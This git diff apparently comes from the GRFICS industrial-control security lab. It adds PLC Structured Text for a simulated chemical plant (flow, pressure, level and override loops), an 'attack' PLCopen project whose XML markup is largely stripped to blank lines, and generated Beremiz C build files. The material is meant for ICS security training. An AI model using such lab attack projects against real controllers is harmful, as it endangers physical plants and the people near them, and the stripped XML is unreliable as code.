pos_max); + scale_to_uint0(real_in := LIMIT40_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK level_control + VAR_INPUT + liquid_level : UINT; + level_sp : UINT := 30000; + curr_pos : UINT; + END_VAR + VAR_OUTPUT + new_pos : UINT; + END_VAR + VAR + cycle_time : TIME := T#50ms; + level_k : REAL := 10.0; + level_ti : REAL := 99999.0; + scale_to_real0 : scale_to_real; + level_max : REAL := 100.0; + level_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + level_real : REAL := 44.18; + pos_real : REAL := 47.0; + pos_update_real : REAL := 0.0; + sp_real : REAL := 44.18; + scale_to_real1 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB32_OUT : REAL; + MUL33_OUT : REAL; + SUB30_OUT : REAL; + LIMIT25_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := liquid_level, real_max := level_max, real_min := level_min); + level_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + pos_real := scale_to_real1.scaled_real; + scale_to_real2(raw_input_value := level_sp, real_max := level_max, real_min := level_min); + sp_real := scale_to_real2.scaled_real; + SUB32_OUT := SUB(sp_real, level_real); + MUL33_OUT := MUL(SUB32_OUT, level_k); + pos_update_real := MUL33_OUT; + SUB30_OUT := SUB(pos_real, pos_update_real); + LIMIT25_OUT := LIMIT(pos_min, SUB30_OUT, pos_max); + scale_to_uint0(real_in := LIMIT25_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_signed + VAR_INPUT + input_uint : UINT; + END_VAR + VAR_OUTPUT + output_int : INT; + END_VAR + VAR + DIV3_OUT : UINT; + ABS8_OUT : UINT; + UINT_TO_INT9_OUT : INT; + END_VAR + + DIV3_OUT := DIV(input_uint, 2); + ABS8_OUT := ABS(DIV3_OUT); + UINT_TO_INT9_OUT := UINT_TO_INT(ABS8_OUT); + output_int := UINT_TO_INT9_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_override + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + curr_sp : UINT := 58981; + END_VAR + VAR + curr_sp_real : REAL := 2700.0; + product_sp_real : REAL := 100.0; + sp_update : REAL := 0.0; + product_sp_nominl : REAL := 100.0; + END_VAR + VAR_OUTPUT + product_sp : UINT := 13107; + END_VAR + VAR + override_sp_real : REAL := 2900.0; + END_VAR + VAR_INPUT + override_sp : UINT := 63350; + END_VAR + VAR + override_k : REAL := 1.0; + override_ti : REAL := 99999.0; + cycle_time : TIME := T#50ms; + scale_to_real7 : scale_to_real; + pressure_max : REAL := 3000.0; + pressure_min : REAL := 0.0; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB86_OUT : REAL; + MUL87_OUT : REAL; + MAX84_OUT : REAL; + ADD85_OUT : REAL; + LIMIT67_OUT : REAL; + DIV73_OUT : REAL; + MUL75_OUT : REAL; + REAL_TO_UINT79_OUT : UINT; + END_VAR + + scale_to_real7(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real7.scaled_real; + SUB86_OUT := SUB(override_sp_real, pressure_real); + MUL87_OUT := MUL(SUB86_OUT, override_k); + MAX84_OUT := MAX(MUL87_OUT, 0.0); + sp_update := MAX84_OUT; + scale_to_real0(raw_input_value := curr_sp, real_max := flow_max, real_min := flow_min); + curr_sp_real := scale_to_real0.scaled_real; + ADD85_OUT := ADD(curr_sp_real, sp_update); + LIMIT67_OUT := LIMIT(50.0, ADD85_OUT, 150.0); + product_sp_real := LIMIT67_OUT; + DIV73_OUT := DIV(product_sp_real, 500.0); + MUL75_OUT := MUL(DIV73_OUT, 65535.0); + REAL_TO_UINT79_OUT := REAL_TO_UINT(MUL75_OUT); + product_sp := REAL_TO_UINT79_OUT; +END_FUNCTION_BLOCK + +PROGRAM main + VAR + flow_control0 : flow_control; + first_run : BOOL := True; + END_VAR + VAR + flow_set AT %MW0 : UINT; + a_setpoint AT %MW1 : UINT; + pressure_sp AT %MW2 : UINT; + override_sp AT %MW3 : UINT; + level_sp AT %MW4 : UINT; + END_VAR + VAR + composition_control0 : composition_control; + scale_to_signed0 : scale_to_signed; + END_VAR + VAR + f1_valve_pos AT %IW0 : UINT; + f1_flow AT %IW1 : UINT; + f2_valve_pos AT %IW2 : UINT; + f2_flow AT %IW3 : UINT; + purge_valve_pos AT %IW4 : UINT; + purge_flow AT %IW5 : UINT; + product_valve_pos AT %IW6 : UINT; + product_flow AT %IW7 : UINT; + pressure AT %IW8 : UINT; + level AT %IW9 : UINT; + a_in_purge AT %IW10 : UINT; + b_in_purge AT %IW11 : UINT; + c_in_purge AT %IW12 : UINT; + f1_valve_sp AT %QW0 : UINT; + f2_valve_sp AT %QW1 : UINT; + purge_valve_sp AT %QW2 : UINT; + product_valve_sp AT %QW3 : UINT; + END_VAR + VAR + product_valve_safe : UINT := 0; + purge_valve_safe : UINT := 65535; + f1_valve_safe : UINT; + f2_valve_safe : UINT; + pressure_control0 : pressure_control; + END_VAR + VAR + hmi_pressure AT %MW20 : INT; + hmi_level AT %MW21 : INT; + hmi_f1_valve_pos AT %MW22 : INT; + hmi_f1_flow AT %MW23 : INT; + hmi_f2_valve_pos AT %MW24 : INT; + hmi_f2_flow AT %MW25 : INT; + hmi_purge_valve_pos AT %MW26 : INT; + hmi_purge_flow AT %MW27 : INT; + hmi_product_valve_pos AT %MW28 : INT; + hmi_product_flow AT %MW29 : INT; + scan_count AT %MW30 : UINT; + END_VAR + VAR + scale_to_signed1 : scale_to_signed; + scale_to_signed2 : scale_to_signed; + scale_to_signed3 : scale_to_signed; + scale_to_signed4 : scale_to_signed; + scale_to_signed5 : scale_to_signed; + scale_to_signed6 : scale_to_signed; + scale_to_signed7 : scale_to_signed; + scale_to_signed8 : scale_to_signed; + scale_to_signed9 : scale_to_signed; + pressure_override0 : pressure_override; + level_control0 : level_control; + END_VAR + VAR_EXTERNAL + run_bit : BOOL; + END_VAR + VAR + run_bit0 : BOOL := True; + initialize_sp0 : initialize_sp; + ADD87_OUT : UINT; + GE91_OUT : BOOL; + MOVE92_ENO : BOOL; + MOVE92_OUT : UINT; + END_VAR + + initialize_sp0(EN := first_run); + IF initialize_sp0.ENO THEN + first_run := FALSE; (*reset*) + END_IF; + IF initialize_sp0.ENO THEN + flow_set := initialize_sp0.flow_sp; + END_IF; + IF initialize_sp0.ENO THEN + a_setpoint := initialize_sp0.a_sp; + END_IF; + IF initialize_sp0.ENO THEN + pressure_sp := initialize_sp0.press_sp; + END_IF; + IF initialize_sp0.ENO THEN + override_sp := initialize_sp0.over_sp; + END_IF; + IF initialize_sp0.ENO THEN + level_sp := initialize_sp0.level_sp; + END_IF; + flow_control0(product_flow := product_flow, curr_pos := f1_valve_pos, flow_set_in := flow_set); + f1_valve_sp := flow_control0.new_pos; + pressure_control0(pressure := pressure, pressure_sp := pressure_sp, curr_pos := purge_valve_pos); + purge_valve_sp := pressure_control0.valve_pos; + composition_control0(a_in_purge := a_in_purge, a_setpoint := a_setpoint, curr_pos := f2_valve_pos); + f2_valve_sp := composition_control0.new_pos; + pressure_override0(pressure := pressure, curr_sp := flow_set, override_sp := override_sp); + flow_set := pressure_override0.product_sp; + level_control0(liquid_level := level, level_sp := level_sp, curr_pos := product_valve_pos); + product_valve_sp := level_control0.new_pos; + scale_to_signed0(input_uint := pressure); + hmi_pressure := scale_to_signed0.output_int; + scale_to_signed1(input_uint := level); + hmi_level := scale_to_signed1.output_int; + scale_to_signed2(input_uint := f1_valve_pos); + hmi_f1_valve_pos := scale_to_signed2.output_int; + scale_to_signed3(input_uint := f2_valve_pos); + hmi_f2_valve_pos := scale_to_signed3.output_int; + scale_to_signed4(input_uint := purge_valve_pos); + hmi_purge_valve_pos := scale_to_signed4.output_int; + scale_to_signed5(input_uint := product_valve_pos); + hmi_product_valve_pos := scale_to_signed5.output_int; + scale_to_signed6(input_uint := f1_flow); + hmi_f1_flow := scale_to_signed6.output_int; + scale_to_signed7(input_uint := f2_flow); + hmi_f2_flow := scale_to_signed7.output_int; + scale_to_signed8(input_uint := purge_flow); + hmi_purge_flow := scale_to_signed8.output_int; + scale_to_signed9(input_uint := product_flow); + hmi_product_flow := scale_to_signed9.output_int; + ADD87_OUT := ADD(scan_count, 1); + scan_count := ADD87_OUT; + GE91_OUT := GE(scan_count, 32000); + MOVE92_OUT := MOVE(EN := GE91_OUT, IN := 0, ENO => MOVE92_ENO); + IF MOVE92_ENO THEN + scan_count := MOVE92_OUT; + END_IF; +END_PROGRAM + + +CONFIGURATION Config0 + + RESOURCE Res0 ON PLC + VAR_GLOBAL + run_bit AT %QX0.0 : BOOL; + END_VAR + TASK MainTask(INTERVAL := T#50ms,PRIORITY := 0); + PROGRAM instance0 WITH MainTask : main; + END_RESOURCE +END_CONFIGURATION diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack.xml b/plc/GRFICS_Workstation_Docs/Documents/attack.xml new file mode 100644 index 0000000..725d547 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack.xml @@ -0,0 +1,5136 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 30000 + + + + + + + + + + + + + hmi_pressure + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 16000 + + + + + + + + + + + + + hmi_level + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f1_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f2_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 3000 + + + + + + + + + + + + + + + hmi_purge_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 15000 + + + + + + + + + + + + + hmi_product_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f1_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f2_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 3000 + + + + + + + + + + + + + hmi_purge_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 15000 + + + + + + + + + + + + + hmi_product_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + scan_count + + + + + + + 1 + + + + + + + + + + + + + scan_count + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + scan_count + + + + + + + 32000 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 0 + + + + + + + + + + + + + scan_count + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_real + + + + + + + pressure_sp_real + + + + + + + pressure_k + + + + + + + pressure_ti + + + + + + + cycle_time + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure + + + + + + + + + + + + + pressure_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure_sp + + + + + + + + + + + + + pressure_sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos + + + + + + + valve_pos_nominal + + + + + + + curr_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + valve_pos_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_set_real + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + product_flow + + + + + + + + + + + + + product_flow_real + + + + + + + product_flow_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + flow_set_in + + + + + + + + + + + + + flow_set_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + curr_pos + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + curr_pos_real + + + + + + + curr_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_k + + + + + + + flow_ti + + + + + + + cycle_time + + + + + + + flow_td + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + a_in_purge_real + + + + + + + a_setpoint_real + + + + + + + composition_k + + + + + + + composition_ti + + + + + + + cycle_time + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + comp_max + + + + + + + comp_min + + + + + + + a_in_purge + + + + + + + + + + + + + a_in_purge_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + comp_max + + + + + + + comp_min + + + + + + + a_setpoint + + + + + + + + + + + + + a_setpoint_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + valve_pos_nominal + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + curr_pos + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + valve_pos_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_real + + + + + + + override_sp_real + + + + + + + override_k + + + + + + + override_ti + + + + + + + cycle_time + + + + + + + + + + + sp_update + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure + + + + + + + + + + + + + pressure_real + + + + + + + curr_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + + + + + + + curr_sp_real + + + + + + + sp_update + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 150.0 + + + + + + + 50.0 + + + + + + + 0.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 500.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_sp_real + + + + + + + product_sp_real + + + + + + + 65535.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_sp + + + + + + + curr_sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + input_uint + + + + + + + 2 + + + + + + + + + + + + + + + output_int + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + real_in + + + + + + + 100.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 65535.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + uint_out + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + liquid_level + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level_max + + + + + + + level_min + + + + + + + + + + + + + level_real + + + + + + + curr_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + + + + + + + pos_real + + + + + + + pos_min + + + + + + + level_real + + + + + + + level_sp + + + + + + + level_max + + + + + + + level_min + + + + + + + + + + + + + sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + sp_real + + + + + + + level_k + + + + + + + + + + + + + pos_update_real + + + + + + + pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + cycle_time + + + + + + + level_ti + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/beremiz.xml b/plc/GRFICS_Workstation_Docs/Documents/attack/beremiz.xml new file mode 100644 index 0000000..c5afdb1 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/beremiz.xml @@ -0,0 +1,4 @@ + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.c new file mode 100644 index 0000000..0dd2355 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.c @@ -0,0 +1,29 @@ +/*******************************************/ +/* FILE GENERATED BY iec2c */ +/* Editing this file is not recommended... */ +/*******************************************/ + +#include "iec_std_lib.h" + +#include "accessor.h" + +#include "POUS.h" + +// CONFIGURATION CONFIG0 + +void RES0_init__(void); + +void config_init__(void) { + BOOL retain; + retain = 0; + + RES0_init__(); +} + +void RES0_run__(unsigned long tick); + +void config_run__(unsigned long tick) { + RES0_run__(tick); +} +unsigned long long common_ticktime__ = 50000000ULL; /*ns*/ +unsigned long greatest_tick_count__ = 0UL; /*tick*/ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.h b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.h new file mode 100644 index 0000000..7050753 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.h @@ -0,0 +1,2 @@ +#include "beremiz.h" + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.o b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.o new file mode 100644 index 0000000..3d987f8 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/LOCATED_VARIABLES.h b/plc/GRFICS_Workstation_Docs/Documents/attack/build/LOCATED_VARIABLES.h new file mode 100644 index 0000000..e69de29 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/LOCATED_VARIABLES.h diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.c new file mode 100644 index 0000000..d1856d9 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.c @@ -0,0 +1,1081 @@ +void LOGGER_init__(LOGGER *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MSG,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->LEVEL,LOGLEVEL__INFO,retain) + __INIT_VAR(data__->TRIG0,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void LOGGER_body__(LOGGER *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + if ((__GET_VAR(data__->TRIG,) && !(__GET_VAR(data__->TRIG0,)))) { + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) + + LogMessage(GetFbVar(LEVEL),(char*)GetFbVar(MSG, .body),GetFbVar(MSG, .len)); + + #undef GetFbVar + #undef SetFbVar +; + }; + __SET_VAR(data__->,TRIG0,,__GET_VAR(data__->TRIG,)); + + goto __end; + +__end: + return; +} // LOGGER_body__() + + + + + +void PYTHON_EVAL_init__(PYTHON_EVAL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->STATE,0,retain) + __INIT_VAR(data__->BUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->PREBUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->TRIGM1,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->TRIGGED,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_EVAL_body__(PYTHON_EVAL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) +extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(0, data__); + #undef GetFbVar + #undef SetFbVar +; + + goto __end; + +__end: + return; +} // PYTHON_EVAL_body__() + + + + + +void PYTHON_POLL_init__(PYTHON_POLL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->STATE,0,retain) + __INIT_VAR(data__->BUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->PREBUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->TRIGM1,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->TRIGGED,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_POLL_body__(PYTHON_POLL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) +extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(1,(PYTHON_EVAL*)(void*)data__); + #undef GetFbVar + #undef SetFbVar +; + + goto __end; + +__end: + return; +} // PYTHON_POLL_body__() + + + + + +void PYTHON_GEAR_init__(PYTHON_GEAR *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->N,0,retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + PYTHON_EVAL_init__(&data__->PY_EVAL,retain); + __INIT_VAR(data__->COUNTER,0,retain) + __INIT_VAR(data__->ADD10_OUT,0,retain) + __INIT_VAR(data__->EQ13_OUT,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->SEL15_OUT,0,retain) + __INIT_VAR(data__->AND7_OUT,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_GEAR_body__(PYTHON_GEAR *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,ADD10_OUT,,ADD__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->COUNTER,), + (UINT)1)); + __SET_VAR(data__->,EQ13_OUT,,EQ__BOOL__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->N,), + (UINT)__GET_VAR(data__->ADD10_OUT,))); + __SET_VAR(data__->,SEL15_OUT,,SEL__UINT__BOOL__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (BOOL)__GET_VAR(data__->EQ13_OUT,), + 